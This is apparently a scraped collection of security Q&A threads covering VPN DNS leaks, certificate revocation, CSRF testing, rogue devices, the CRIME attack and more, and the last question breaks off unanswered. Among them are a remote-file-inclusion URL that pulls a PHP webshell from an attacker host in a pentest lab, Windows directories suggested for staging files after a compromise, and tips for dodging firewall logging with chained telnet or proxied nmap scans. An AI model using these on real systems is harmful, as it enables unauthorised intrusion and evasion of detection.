P.S. if you do use KeePass, upon creating each database, please go into File, Database Settings, Security, Key transformation rounds, and change that to a large number (start by pressing the "1 second" button/link and then multiply whatever that is by 2 to 12 or more; even on a decent smartphone ten million rounds doesn't take but a handful of seconds, and it'll slow an attacker down quite a bit.

P.P.S. you can also change a global setting on the main Windows KeePass program under Tools, Options, Security, Enter Master Key on Secure Desktop.


watch DNS queries while using OpenVPN.- I want to monitor/sniff the DNS queries I make while I'm using a VPN connection with my OpenVPN client.
My initial motivation was to check if I'm leaking DNS queries; then using this page it seems I'm not leaking, but I still want to understand the pipeline of my network "dynamics".

I'm running the OpenVPN client in a Docker container, and I set these firewall rules right before establishing the vpn connection:

iptables -F OUTPUT
iptables -P OUTPUT DROP

iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A OUTPUT -o tap0 -j ACCEPT
iptables -A OUTPUT -o tun0 -j ACCEPT

iptables -A OUTPUT -d ${docker_network} -o eth0 -j ACCEPT
iptables -A OUTPUT -d ${vpn_ip} -p tcp -m tcp --dport $port -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport $port -j ACCEPT

where: vpn_ip is the IP of the vpn server, port the UDP port for the vpn connection, and docker_network is the local network of the container (e.g. 172.17.0.2/16).
Everything below is executed inside the container.

I read everywhere that DNS queries are made to the DNS servers of the VPN provider, so I'd like to "see" that somehow.
So I made a ping:

ping -c1 hotmail.com

and it responds normally.
At this point the /etc/resolv.conf contains:

nameserver 8.8.8.8

Next, I clean the /etc/resolv.conf to see if the query needs it, so I  repeat the ping command and I get:

ping: hotmail.com: Temporary failure in name resolution

Also, if I try to use a browser on top of this container, it doesn't load any page as it usually would.

I also "sniffed" my packets while the resolv.conf was using 8.8.8.8 like so:

tcpdump -i tun0 -vv "host 8.8.8.8"

and I get lines like:

10.8.8.7.39209 > google-public-dns-a.google.com.domain: [udp sum ok] 17379+ PTR? ...

I've also tried this with the interface -i eth0 and I get complete silence.

Doing a filter-less sniff, I also checked that eth0 only sees UDP packets, while tun0 sees TCP and UDP packets.

Why do I need a valid /etc/resolv.conf if the DNS query is supposed to be sent over the vpn client?
The DNS queries are sent directly to 8.8.8.8 or through my vpn connection?

Why do I need a valid /etc/resolv.conf if the DNS query is supposed to be sent over the vpn client?

The /etc/resolv.conf is the configuration for the resolver libraries which DNS server should be used. Even if you are using a VPN you still need a DNS server. Only, the communication with the given DNS server should be done through the VPN then.

For example if you use 8.8.8.8 as the DNS server then you should see the DNS query passing through your VPN interface (tun0 in your case) - which you also see there according to your question:

tcpdump -i tun0 -vv "host 8.8.8.8"
10.8.8.7.39209 > google-public-dns-a.google.com.domain: [udp sum ok] 17379+ PTR? ...

If you instead would use a DNS server in the local network (like 172.17.0.1) then the DNS query would not go through the VPN interface since the route to the local network is not set through the VPN interface (check netstat -rn or ip route for details). You would instead see the query pass through another interface (possibly eth0, depending on your exact setup). In this case you would have a DNS leak since the DNS query is bypassing the VPN.


Serving a php webshell without running it locally I am using Kali Linux in a pentesting lab.

By entering the following URL on the victim system I can get it to access my apache server (I see a 200 access response in my logs), but the php file renders on my system and then I spawn a webshell on my own box:

https://10.0.0.1/section.php?page=http://10.0.0.2/phpshell.php%00

How do I "change the binding" in apache to prevent it from running?
Changing it to a .txt seems to prevent it from running on both systems; not sure that I can inject it that way.

Use the following setting in your apache config or in a .htaccess file:

php_flag engine off

See also Disable PHP in directory (including all sub-directories) with .htaccess.


Revoking a Certificate I'm looking for a bit more details on how the chain of ownership works when it comes to service providers requesting SSL certificates on behalf of another organization.  The Who is responsible for revoking a certificate? post is helpful in describing how the process works for revocation and what the owner has to do it just doesn't go into details on how a “on behalf of” certificates are handled.

My Situation

I have a situation where I have a service provider that will be a CDN for a site.  They are requesting an SSL cert through their CA to handle the domains and I just have to approve or deny the request.  What I'm unclear about is in the situation who has the authority to revoke the cert as I don't actually own the certificate but I do own the domains it's attached to.  Can I initiate a revocation of the SSL cert through the CA even when I don't own it?

Your CDN or you could initiate the revocation. The CDN can request the revocation most likely through the account they have with the CA and from being the "owner" of that specific order.

You can request a revocation still, even though you are not the owner or purchaser of that specific certificate. The CA will request you to prove you are the owner of that domain. If you can prove to the CA that youre the owner of the domain, they will revoke the certificate.

You ultimately are the party granting or denying the use of a certificate for your domain. You can authorize another party to buy certificates on your behalf. And you can revoke that authorization at any time as well.

Each CA has a their own revocation policies and its worth checking out those documents. But the CA/B forum which sets rules and standards for CA's, does state who is allowed to request a revocation. See section 4.9 of the Baseline requirements.

  4.9.2. Who Can Request Revocation
  The Subscriber, RA, or Issuing CA can initiate revocation. Additionally, Subscribers, Relying Parties,
  Application Software Suppliers, and other third parties may submit Certificate Problem Reports informing the
  issuing CA of reasonable cause to revoke the certificate.

CA's are allowed to process requests from "relying parties" who can provide reasonable evidence that the certificate should be revoked. In the scenario presented in the OP, you would be the relying party and your CDN would be the subscriber.

Relying parties are defined as:

  Any natural person or Legal Entity that relies on a Valid Certificate. An Application Software
  Supplier is not considered a Relying Party when software distributed by such Supplier merely displays
  information relating to a Certificate.


Directory to place files on windows on linux when we have a foothold and we want to transfer files to the victim we usually transfer it to /tmp beacuse it is writable and always there.
what directory should we transfer our files if we compromise a windows machine which is usually writable and always there ?

EDIT: Thank you @VenVen for pointing out the \Windows\Temp dir!
The system-wide temp directory on Windows is %SystemRoot%\Temp (C:\Windows\Temp, typically). You can also use the %ALLUSERSPROFILE% (which is almost always C:\ProgramData on modern Windows versions). The ACLs on both directories are very similar to the *nix Sticky directory permission bit as set on /tmp: all members of the "Users" group (so, anybody except anonymous users and guests) are allowed to create files and directories within the directory itself (or any subdirectories you created), but only the owner of a file or directory can access it once it's created (by default; the owner can of course modify the ACLs to grant access to others).
A few differences:

\Windows\Temp does not allow read privileges (for non-admins) within itself, meaning you have to know the path to the file or directory you're opening without listing directory contents. This might be inconvenient but it also makes it harder for a non-admin to see your files.
ProgramData is a hidden directory (merely an advisory flag, equivalent to a *nix dotfile), but does allow listing by normal users and a ton of stuff gets put there by, which may make your additions not stand out.

For that matter, the ACLs on the root of the system drive (C:\) are similar, though more restricted; you must create a subdirectory rather than putting files directly under the root, and only Authenticated Users have this permission (meaning it might not work if impersonating a user without their credentials). It is more likely to be obvious to a user, of course.
You can also check the %TMP% (or %TEMP%) environment variables for a user-specific temp directory. This might not be set, or not set usefully, for non-interactive service accounts or other situations, though.


Character filtration in globalisation supported application I am working on building an application which will be used in various language , to secure from attacks like xss, SQL injection I thought implementing character filteration (whitelisting/blacking) but not sure if putting validation based on alphanumeric character is best way or not as non English characters might get rejected. what's the right way to handle this?

Trying to duct tape "more security" by trying to guess what is safe and what is not is going to fail.

The only way to make sure you don't get code injected through input is to treat input as data and never mix it with code, whether it might be safe or not.

For SQL that means prepared statements.
For XSS attacks it gets a little trickier because there is no such easy option.
But the basic rules are the same. Do not mix data and program logic.

So to summarize: Do not try to best-guess what of your input is safe to treat as code. Never treat it as code. Separate code and (input) data and you don't have to worry about other languages and character encodings.


Mac OS X from an IT Security Practitioners' Perspective? What does the Mac OS X offer that it has been recently attracting users with IT security focus?

There are sites that specifically focus on "hacking" with OSX, such as machacking.net. Defcon has an entire link section dedicated for Mac (Titled: Mac Security Related Resources).

What does OS X have to offer to IT Security? Apart from being nice looking and less chances of virus infection (comparing with windows). Is it that users are running OS X and virtualization (linux) for pentest. [killing two birds with one stone, general usage computer + penetration testing.]

Or are they actually doing the security analysis with tools directly from OS X?

IMO I though it was an operating system for designers, but now it's becoming a widely used OS, and even being used for IT security...

First there was one...

Below is a shot of the network management table at Shmoocon this year. That one IBM? That's my work-issued machine that was powered on for an hour because I needed to get some things done while away. It didn't do anything else all weekend. Every single one of us did the rest of the work on macs.

Why do all the security guys have a Mac?

Let's back up a step and say, "Why Unix?" That's what it's really about. We're all the type to have an ssh terminal running and live in bash prompts. The Mac suits both of those pretty well. I think you'll find that most of the folks would likely run a Linux desktop but when it comes to laptops, which now dominate the market, it becomes a question of hardware and convenience. Yes, I can get a laptop from another manufacturer and load Linux on it, or even pre-order. But the Apple will do most of what I want without the extra time and effort. It's also a known product from a predictable vendor with a lot of locations where I can bring my machine in and get it fixed. Believe me, no laptop survives me without a few trips in for service.

So, Linux may be home, but my OS X laptop has most of what I need, works smoothly from day to day, and handles a few commercial-only things that I need too like my scanner and Office. It also doesn't grate on me when I want to live in terminal land, work with text files, and not reach for the backslash key. Sure, I can find a way to make the scanner work in Linux and I can run Office in a Windows VM or fight with OpenOffice, but the fact is if my clients want it that way, they'll get it that way.

Why all the InfoSec use?

I think most people are in a similar spot to me. Also, the tools drop into it fairly nicely too. Nmap? Native. If I want BackTrack, it fires up in a VM. Since it's now my primary OS on my laptop. My laptop is my primary machine rather my more powerful desktop is used far less often. In fact, it's across the room while I leisurely type away from my desk.

Besides, I don't have to deal with Ubuntu and the Unity fiasco. I want a simple and comfortable interface, and I get it without hassle. The world where I live, the console, is the same for all purposes. It's not ideal, but it comes with a few positives and few negatives... not enough to get me to format the machine and work on Linux. In fact, now that I think back, I've been on OS X for 8 years now. I wouldn't have crossed over if it weren't for native Bash terminals.

So yeah, as a security guy it's a great general use machine that can play double-duty.


Certificate based authentication Can certificate-based authentication systems be bypassed in a MITM attack over WiFi ? I was just looking at a service called REMME and was wondering how secure it actually is.

In general certificate based authentication consists of two main parts:

A presents a certificate to B and somehow proves to B that it has access to the private key to the certificate.
B verifies that the contents of the certificate matches the expectations. These expectations are typically a trusted issuer known to B, a specific subject, that the certificate is not expired or revoked etc. But it might also be that B already knows the exact certificate to expect and just compares the certificate or its fingerprint against the known one.

These parts could be attacked within an MITM attack as follows:

The MITM attacker presents the original certificate of A to B. This should only be doable if the attacker has a matching private key. Assuming that the certificate does not use a weak key in the first place then the attacker needs to somehow steal the original private key, for example by hacking A. But it might also be that the prove that the peer has the private key for the certificate is wrong. Usually this prove is done by signing a challenge which is (at least in part) based on random data generated by the server. If the check of private key ownership is implemented wrong at B it might be possible for the attacker to replay a prove previously sent by A.
The MITM attacker presents its own certificate (where he has the private key) to B. In this case  B must somehow be tricked into believing that this certificate is valid for A. Typically this works if the certificate is insufficiently validated in the first place, for example by not validating it at all. It might also be possible that the attacker is able to get a valid certificate from a CA trusted by B as issuer for the certificate.

In other words, if implemented correctly no MITM is possible. But there are various ways it might have been implemented incorrectly.


Why can't we encrypt the message with sender's private key and receiver's public key in case of sending messages through a server? I read that why do we need E2EE and can't rely only on HTTPS for sending messages through a messaging app. The reason which i understood is when sender sends the message to the server, the TLS connection is associated with the server. TLS terminates at the server and whoever controls the server has the ability to view the messages since they are not encrypted.But, In this process when we send a message to the server, we are firstly encrypting the message with sender's private key and then with server's public key.
My question is why can't we encrypt the message with sender's private key and then receiver's public key? In this way, even if it reaches server, it won't be able to view anything since it can only be decrypted using receiver's private key.
If this is possible, then why do we use methods like Diffie Hellman key exchange?

First of all, in TLS 1.2 the RSA is not used for encryption or decryption of the messages. It can be used for authentication and key exchange but not actual encryption. TLS utilizes symmetric cryptography for the encryption of the payload. Generally, it is considered a good practice to use RSA only for the authentication part, as the keys exchanged using RSA are not ephemeral. It means that if anyone was ever able to decrypt captured communication he would be able to find the symmetric keys used to encrypt the payload and obtain the data exchange between nodes. One of the reasons why we are using encryption is a fact that it is very easy to record the communication of the network.
We are currently pushing towards "perfect forward secrecy" which can be only achieved with ephemeral keys. For that to take place we need to exchange keys without sending them in the communication. It is possible to exchange symmetric keys without sending them over the network, we are using Diffie Helman (or EC variant of it) key exchange for that.
Your problem boils down to the fact that the TLS session is between the server and the sender, not the sender and recipient. Depending on your level of trust in the server you may consider it man in the middle. This is the reason why E2EE is used. You don't want to exchange the secrets using symmetric crypto cause if it ever gets decrypted your communication is out in the open. It doesn't really matter if the asymmetric crypto is end to end in this case or sender -> server, server -> receipient.


Does a drive need to be wiped before encrypting it to be completely safe? Perhaps this question has been asked before, but I couldn't find anything specifically.

I want to fully encrypt my ultrabook's SSD with VeraCrypt, TrueCrypt, or BitLocker (haven't decided yet) and I don't want to format or securely wipe the drive before hand. (I understand that securely wiping SSDs is a thing of its own that I won't go into here).

Since I have an ultrabook with a special form factor SSD I can't really take it out and wipe it on another machine. I suppose I could wipe it with another program before Windows boots but I want to avoid actually wiping my data.

So the simple question is: if I take my machine, which currently has an SSD which is completely unencrypted, and I fully encrypt the drive, is my data still secure? Or does the data still remain on the drive from when it wasn't encrypted?

SSD are almost always manufactured to actually have more memory cells than the advertised capacity. This extra capacity is used to replace failed memory cells so the drive maintains the advertised capacity during the expected lifetime of the drive. This is handled automatically by the drive's controller and normally isn't visible to the operating system.

What this all means is that unless you do an ATA Secure Erase and the ATA Secure Erase is implemented correctly (many SSD drives didn't implement ATA Secure Erase correctly), there's a chance that some remnants of the data may remain on the drive even if you overwrite the entire visible area of the disk with full disk encryption. Specialised forensic tool may thus be able to recover data from this spare capacity.

Whether or not this is a practical concern, really depends on the sensitivity of the data and what you're going to do with the drive afterwards. If you are going to immediately hand over the drive to a competent, malicious adversary, they'd be able to recover data from the spare areas. If you are going to actively use the drive for a while, chances are the write balancer would overwrite any remaining data after a while.


Should company protect DB schema at the same level of the data itself? If a company holds DBs that has access to different users. If the company has to decide how much to invest in protecting the data itself and how much to protect the DB schema (the structure and inner relations between tables and fields). Should the company invest only on protecting the data itself? Is there any threat for DB schema penetration. Is the schema has valuable meaning at all or can it increase the DB vulnerability for future attacks?

No

Protection of the database schema is a type of security by obscurity.

Your software should be designed and configured in such a manner that none of its security is compromised when a hacker learns its design.  In fact, in the best case your design is made public so that security professionals can critique it and you can continuously improve it.


How to test for CSRF if there are many hidden fields with different values? Wanted to test specific hidden fields with different values for each with test case of cross site request forgery. How would one do so? Both manual and an automated approach would do.

Exclusion lists for such test case:

Burp Suite
CSRFTester

Have had tested with them, get's tedious and inefficient.

Burp Suite's extender has a couple of CSRF plugins which might help improve your experience. They either attempt to spot requests with no CSRF protection token as part of the passive scanner, or perform active checks to see if the requests can be performed (i.e. get a 200 OK response) without the tokens.

You might also be interested in zaproxy, which is an open-source alternative to Burp Suite that has the same features and a few more. It might fit you better. The UI isn't quite as intuitive, but it's still great.

Personally, for doing testing of a large number of pages/sites, I'd write a really simple testing script in Python using Scrapy. For each of the given response objects, access the response body, then use the xpath(query) or css(query) functions to identify forms which have CSRF token fields with a given name. You can then gather the full set of inputs to those fields and the target URL.

Once you've got a series of form targets and fields, you can tweak the CSRF tokens as you please, then attempt to submit the forms with whatever values you see fit. Check the response values to see if the result comes back with an error, or redirects to an error.


Server is sending large amounts of encrypted UDP traffic The hosting company of a client has shut down their Windows server twice in the past week because the server seems to be sending out massive amounts of outbound encrypted UDP DNS traffic.

I have now configured the firewall to block any incoming/outgoing traffic by default and only allowed the necessary ports. This should prevent the outgoing UDP traffic, but I still don't understand the underlying issue.

There is only a webserver (ASP.net website) and FTP server running on this server and so far I couldn't find any issues in the web application.

What are the attackers doing, are they DDoSing other servers? And how are they doing this, how to fix the root of this problem?

This answer are being given taking in account the comments:

It seems that the attacker either using it as vpn hop server (more likely) or as data exfiltration (less likely, since I assume the target are not important)

The reason why I assume that this is most likely VPN over DNS hop server, is that at some point of time I've had to experience with one of my clients pretty close to the described scenario.


Mouse receiver shows up as keyboard too - is this an issue? I have recently seen some wireless mice that when the receiver is plugged in to a USB port, Windows device manager shows a new "HID-compliant mouse" (as expected) and also an "HID-compliant keyboard."  Is this standard practice, or should it raise concern?  Can something else be checked to see if there's an issue?
Is vigilance in Device Manager really needed?

There is little need for concern here.  The wireless dongle you plugged in to your computer supports both a keyboard and a mouse, and is presenting itself as a composite USB device where both devices are attached.

The dongle can't tell if there is a wireless keyboard present, because battery-powered keyboards conserve battery life by not transmitting unless someone is pressing a key.  In order to avoid having the device driver enabled and disabled every time a key is pressed, the dongle simply says "keyboard is present".


Can a router detect transitive/cascaded telnet sessions? I'm in my LAN segment , my desktops IP  is  x.x.x.x ; and I'm telneting to  router A with  its IP y.y.y.y from x.x.x.x .Now telnet session is established between x.x.x.x and y.y.y.y I want to telnet to router B with its ip addr z.z.z.z, from router A with IP y.y.y.y.

The chain is DESKTOP >(Telnet)> Router A >(TELNET)> Router B.

My setup is like this:

Desktop x.x.x.x is on LAN seg and in inside zone of firewall
y.y.y.y is on remote side and I've route to it.
z.z.z.z is my real goal

I'm using y.y.y.y as proxy to reach z.z.z.z but problem is that, while I directly telnet to z.z.z.z from x.x.x.x, logs gets generated in firewall a.a.a.a which is between x.x.x.x and z.z.z.z. That's why I'm using y.y.y.y as proxy and this session gets less attention.

My question is while I'm having cascaded connection to z.z.z.z from x.x.x.x and intermediate router is y.y.y.y, will the firewall look at this session and will come to know that this cascaded session and desktops end connecting node is z.z.z.z which is imp ip addr for org. Does telnet session has any fields or flags or src & dst addr fields which might tell firewall that this is cascaded session? I've checked from my desktop its showing telnet conn established between x.x.x.x and y.y.y.y while actually I'm accessing z.z.z.z via y.y.y.y.

No, the firewall logs will show 2 TCP sessions:

A session from x.x.x.x to y.y.y.y
A session from y.y.y.y to z.z.z.z

You are opening a remote shell session on y.y.y.y and using that to connect to z.z.z.z,  there isn't anything on the firewall that is going to automatically tie these 2 connections together. A competent and curious firewall engineer would certainly be able to join the dots though, as there are logs for the incoming and outgoing sessions, and system logs on the firewall itself that will show the logins.

I hope you aren't doing anything you shouldn't be.


Can a SIM card be tracked without cell phone and battery? I have a SIM card alone without cell phone and battery. Can it be be tracked?

The SIM card must be plugged into a device for it to be functional in any way. It does not contain a power supply or an antenna. As such, it'd be impossible to track a SIM card on its own.

However, once you plug it into a phone and power it on, the IMEI number of the phone and the SIM's serial number will be transmitted to the nearest cell tower(s).


Rogue device found on network Whilst scanning my own network, I recently came across what seems like a rogue device. After running an nmap scan on it I found out it has four 'strange' ports open.

4096 (HTTP server)
13000 (Unknown, doesn't return any data, even when fuzzing)
34000 (Unknown, same here)
37858 (HTTP server, seems to be the same instance of 4096)

The ports 4096 and 37858 are HTTP servers, however they don't expose any information about what they are and what they do as all 'common' pages such as /, /admin, /home etc don't seems to return anything. Curl request (both 37858 and 4096 return the exact same):

$ curl -vvv 192.168.2.16:37858/admin
*   Trying 192.168.2.16...
* TCP_NODELAY set
* Connected to 192.168.2.16 (192.168.2.16) port 37858 (#0)
> GET /admin HTTP/1.1
> Host: 192.168.2.16:37858
> User-Agent: curl/7.51.0
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Content-Type: text/plain
< Content-Length: 30
< Connection: keep-alive
<
Error 404: Not Found

Does anyone know what this device could be? The only thing I've been able to find so far is that the Senna Spy trojan uses port 13000, which doesn't inspire confidence.

To find out if the device's purpose, you need to know more information than just the open ports.

Get the Service Version info with nmap

nmap -sV -p 4096 192.168.2.16

Look up the MAC address if it is on your local network

Each MAC address has an OUI which tells you the manufacturer. It can be faked, but is not commonly. This will tell you if it is an Apple device, Cisco, or other. Here is an OUI tool to look up MAC addresses.

Perform an OS scan.

nmap -O 192.168.2.16
(fuzzy detection) nmap --osscan-guess; --fuzzy 192.168.2.16
This looks at how the server responds to a variety of TCP and UDP packets, looking for how different TCP/IP stacks deal with it.

Broadly speaking, if there is a server that you don't know what is there, and is listening on weird ports like that, you have a good reason to be concerned and investigate it further.


Could a malicious server compromise a Yubikey OTP and use it to login to other servers? Let’s say I use my Yubikey OTP to login to multiple servers, and it one becomes compromised. I go to login the that compromised server, and enter my OTP. Obviously, once that’s password is verified it can’t be reused, but whose to say the server has to verify it? The malware could than go on to replicate itself by attempting to login to another server with that Yubikey OTP and so on and so one throughout more servers. Is this possible, or am I missing something?

Yes, if the compromised server does not validate the OTP for the purpose you expect, it can use it to attempt to connect to other of the services that work with the same Yubikey. This would be a man in the middle attack with the particularity that the "man in the middle" happens to be one of your servers (the compromised server). The Yubikey OTP scheme itself does not protect against such attacks.
This assumes that the compromised server is not a Yubikey validation server. If this is the case, you should assume the attacker can generate OTPs of any sequence number. In other words, the attacker virtually possesses a copy of the Yubikey. This is because validation servers know the secret that is stored on the Yubikey if the key is registered with them.


How is distributed computing security ensured? I browsed some articles found on the web but none of them seems to have the answer to my question (or maybe I didn't see it).

I've heard that it is possible to give one's CPU unused power to research laboratories to help developing science while sleeping.

But what if someone decides to return a wrong answer, a spyware or I don't know what?

How do they ensure that the result they get is the result of the calculus they asked?

Getting fake or skewed results from user-contributed CPU power is a real issue which has no known practical solution, but there are several mitigation strategy:

Duplication. For each given chunk of work, give it to two distinct contributors, and compare the results. This will trap most fraudsters and also computing errors due to bad RAM; unfortunately, this also halves the available computing power. This strategy was what used by some friends of mine who (briefly) got the world record for the N queens problem (i.e. counting all solutions; they computed it for N = 23 back in previous century).
Sampling. This is a variant of the previous solution, in which you duplicate only some chunks, e.g. one in ten (randomly chosen). This will trap fraudsters who game results at least occasionally, while incurring much less overhead. You have to keep track of who did what chunk, so that suspicious values can be removed en masse.
Incentives. If the work is of the find-needle-in-haystack persuasion (like a distributed key cracking effort), then you can announce a grand prize for who finds it. This will induce a lot of potential cheater to actually do the computations, since not doing them means that they will not get the prize.
Fully Homomorphic Encryption. That one is a generic solution, but the best known algorithm for FHE has the inconvenient drawback of incurring some overhead which is counted in billions -- i.e. even if the whole Internet contributed to the computation with FHE, it would not match what you could achieve without FHE on a single PC.
Obscurity. The all-time favourite of anti-cheating strategies: simply don't show the source, keep the protocols secret, and hope for nobody to bother running a debugger and doing a bit of reverse-engineering. In a similar scenario of distributed computing, namely online games, it does not work well.
Luck and trust. Simply pray that there will not be too many fraudsters, and that most chunks will be processed as they should. Depending on the type of computation, this may be a valid strategy. For instance, it may work for a key cracking effort, since a few skipped chunks will not matter (unless the key is in one of them, which would be bad luck but improbable if most contributors are honest). It would not work for a complete counting where you add all the results (each wrong value will alter the total).

Historically, distributed.net encountered such issues in their DES/RC5 cracking efforts. Some people would fake results, i.e. alter their clients so that they responded "job done, no key found" without doing the computations; the gamed clients would respond faster than clients which really do the work. They were doing that just to be at a better rank in the list of contributors, ordered by CPU power (retrospectively, it was quite obvious that computer owner would act just like car owners do). Their response was an obscure client without source, which was sufficient in that case (too few people did the reverse engineering to cheat again).

There is also the dual problem, i.e.: how do you make sure, as a contributor, that the client code they send you is really benign ? This is not an easy question, and it is made harder by closed-source client code...

Linux includes a nifty system call named seccomp() which could be useful for that. And, at least theoretically, this might not be sufficient for complete isolation of a potentially rogue process, because that process will share caches (L1 cache, jump prediction...) with other processes, and it has been demonstrated to be usable (in lab conditions) to recover an encryption key.


Are scanners secure? I have a dead tree document. In order to reduce the risk of being compromised, I would like to digitize and encrypt the document, and then destroy the physical copy.

Let's assume my computer itself is secure (since if not, this discussion becomes moot). Let's further allow that I am very paranoid and suspect the scanner as the weak link in the chain.

Is it common for scanners to somehow cache or log documents they scan (on the scanner machine itself)? Does scanner driver/software often have temporary folders which end up leaving a trace of the document? Can a networked scanner maliciously or accidentally distribute the file to third parties (over the LAN/WAN or the internet)?

What steps can be realistically taken to minimize the risk?

You are somehow thinking that dead tree docs are less secure than digital copies. I may venture to say you are mistaken in this belief.

Digital data may be stolen in a myriad different ways. The scanner may be reporting to HP or other companies/agencies, while your computer may be already compromised. Your computer will have vestigial data on the hard drive. Use of encryption may warrant unwanted attention.

Last, but not least: you can lose a digital copy much easier than the original. All it takes is one inopportune kick to the hard drive or static discharge, or simply a forgotten password. To overcome this, you will be forced to make multiple backups, store the password somewhere etc. etc.

If you are really intent on digitizing the document, take a fresh memory card for your camera and make a few photos. Stash the card somewhere secure.


Cryptic threat names I have logs from a security appliance from Damballa which has cryptic names for threats observed in a network which I am trying to make sense of. Some examples of these threats are "RedTreeBruisers" , "WeirdSideTroop" , "WhiteBikeScorpions" ,etc. which I do not know how to interpret . I have over a 100 of these unique threat names with 3 words concatenated together. Unfortunately I don't have access to documentation / otherwise for this appliance. Any ideas what these threats mean & Is this a standard of some sort? What would be the best way to decode them?

The appliance is obviously using arbitrary names to name/describe those threats.

Vendors often use such home-made naming/description conventions. For example:

Symantec Virus Naming Convention
Avira Malware Naming Convention

And you can also find naming/description standards from the academic world or standard organizations, for example:

MITRE MAEC (standardized language for encoding and communicating
high-fidelity information about malware based upon attributes such as
behaviors, artifacts, and attack patterns)
IETF RFC 5070 (Incident Object Description Exchange Format)

Sometimes on those appliances you can find additional information in the detailed view that gives you the "official" name and variant of the detected threat.


Simple and Universal way to password-protect existing webservices that are exposed to internet There are many tools, devices and programs that by default run a http server and expose a user interface on port 80. Even my coffee machine has a web ui that it provides on port 80.

Now, it's easy to make these existing webservers available through the internet by simply doing port-forwarding on the internet facing NAT.

I want to do this, but I want to password protect access to them in a simple, generic and secure way.

On simple way would be to just NOT expose them and access them only through a VPN connection. Currently I'm doing this - but I want to be able to access the services without a vpn tunnel from anywhere in the web.

So, let's say I have three http services in my Lan that I locally can access on

CoffeeMachine:80
MyLightSwitch:80
ToiletFlush:80

Now I want to be able to access them over the internet by going to

http://mystaticIP/coffeemachine
http://mystaticIP/lightswitch
http://mystaticIP/toilet

But for all of them, I want that they are ONLY accessible after some form of user-password authentication.

I don't need individual users/passwords for the different servers. Can be all the same.

What's an easy but yet secure way to expose all these three services to the internet, without having to tamper with the http servers on these devices themselves? (by secure I mean that without knowing the password it won't create a trivial security hole. I don't worry about man-in-the-middle attacks or so).

Tools I have available to solve this:

Adding an additional server running any linux distro/services to the local network
Set portforwarding on my NAT

The common way to solve such problems is to put these systems behind some reverse proxy (i.e. nginx, Apache, ...) and require authentication for this reverse proxy. In this case only the proxy which requires authentication can be accessed directly from the outside but the systems behind the proxy can only be access through the proxy with authentication. This allows also the mapping of the path you want as long as application behind the proxy does not enforce absolute path.

A different approach is to have some external service which is used to connect the user with the internal server and which requires authentication. In this case some internal connector will connect to the external access proxy and will forward any traffic from the access proxy to the internal server. The access proxy or the internal connector will do the authentication of the user:

 internal-server <--> internal connector --> external access proxy <-- user

One advantage of this approach is that no explicit port forwarding needs to be done. This approach is for example done by ngrok or access proxies by Cloudflare, ZScaler, Akamai...


Analyzing a suspicious email Today I received a very suspicious email on my gmail account.  When I analyzed the content of the message, this is what essentially made up the message.

Is_This_Really_Me?

_Remove_Me_

Can someone explain what exactly is going on here, especially the link tags. Where exactly does the href attribute point too, or better yet, it doesn't look like a host name, or an IP address.

How would I be able to SAFELY analyze where the links leads too and what do they do?

I am running Fedora Linux.  If there is any malicious code, how could I safely see what exactly is going on here?

I think it is some type of inverse spam filter poisoning. They are sending mails which seems not to be spam (and contains none of their viagra etc. marketing).

The bayesian spam filters are checking the distribution of words to categorize mails.

After they sent out a lot of mails containing only their "words", and classified as not-spam, they could use these words to seem their spam as normal mails as well.

I am thinking about a secondary trick:

This mail contains images, and nothing really spammy, only some trash. Google doesn't show mails by default, but you can click a "show images" or like button to show them. If you do this, the images will be downloaded from their external site. If the image url contains some type of identification string, on the server side will be shown, which users opened the mails really. This information helps the spammers to better organize their targets (they could find the last people on the world who until now opens spam).


How can I run nmap scan via multiple proxies (not chained; each proxy will be used for disjoint part of the scan)? How can I run nmap scan via multiple proxies, such that each proxy will actually send only part of the packets?

For example, assuming that a scan sends X requests, and I have Y proxies, I would like that my nmap python script will send X requests, such that each disjoint subset of X/Y requests will be tunneled through different proxy.

Could it be done?

Are there any other tools that can do this?

I believe the best option is using the proxychains tool for that.

In the configuration file (/etc/proxychains.conf) you can list your proxy servers and then enable the "Random Chain" option. You can find a nice step-by-step on this tutorial. Also, if you want to use just ONE proxy each time, set the "chain_len" option to one.

Just a quick tip, when running a nmap scan over proxychains, don't forget to use the flags "-sT -Pn", otherwise your scan may fail.


Is HTTP compression safe? The CRIME attack taught us that using compression can endanger confidentiality.  In particular, it is dangerous to concatenate attacker-supplied data with sensitive secret data and then compress and encrypt the concatenation; any time we see that occurring, at any layer of the system stack, we should be suspicious of the potential for CRIME-like attacks.

Now the CRIME attack, at least as it has been publicly described so far, is an attack on TLS compression.  Background: TLS includes a built-in compression mechanism, which happens at the TLS level (the entire connection is compressed).  Thus, we have a situation where attacker-supplied data (e.g., the body of a POST request) gets mixed with secrets (e.g., cookies in the HTTP headers), which is what enabled the CRIME attack.

However there are also other layers of the system stack that may use compression.  I am thinking especially of HTTP compression.  The HTTP protocol has built-in support for compressing any resources that you download over HTTP.  When HTTP compression is enabled, compression is applied to the body of the response (but not the headers).  HTTP compression will be enabled only if both the browser and the server support it, but most browsers and many servers do, because it improves performance.  Note that HTTP compression is a different mechanism from TLS compression; HTTP compression is negotiated at a higher level of the stack, and only applies to the body of the response.  However, HTTP compression can be applied to data that is downloaded over a SSL/TLS connection, i.e., to resources downloaded via HTTPS.

My question: Is HTTP compression safe to use, on HTTPS resources?  Do I need to do something special to disable HTTP compression of resources that are accessed over HTTPS?  Or, if HTTP compression is somehow safe, why is it safe?

It seems risky to me.  HTTP compression is fine for static resources, but for some dynamic resources served over SSL, it seems like HTTP compression might be dangerous.  It looks to me like HTTP compression can, in some circumstances, allow for CRIME-like attacks.

Consider a web application that has a dynamic page with the following characteristics:

It is served over HTTPS.
HTTP compression is supported by the server (this page will be sent to the browser in compressed form, if the browser supports HTTP compression).
The page has a CSRF token on it somewhere.  The CSRF token is fixed for the lifetime of the session (say).  This is the secret that the attack will try to learn.
The page contains some dynamic content that can be specified by the user.  For simplicity, let us suppose that there is some URL parameter that is echoed directly into the page (perhaps with some HTML escaping applied to prevent XSS, but that is fine and will not deter the attack described).

Then I think CRIME-style attacks might allow an attacker to learn the CSRF token and mount CSRF attacks on the web site.

Let me give an example.  Suppose the target web application is a banking website on www.bank.com, and the vulnerable page is https://www.bank.com/buggypage.html.  Suppose the bank ensures that the banking stuff is only accessible by SSL (https).  And, suppose that if the browser visits https://www.bank.com/buggypage.html?name=D.W., then the server will respond with a HTML document looking something vaguely like this:

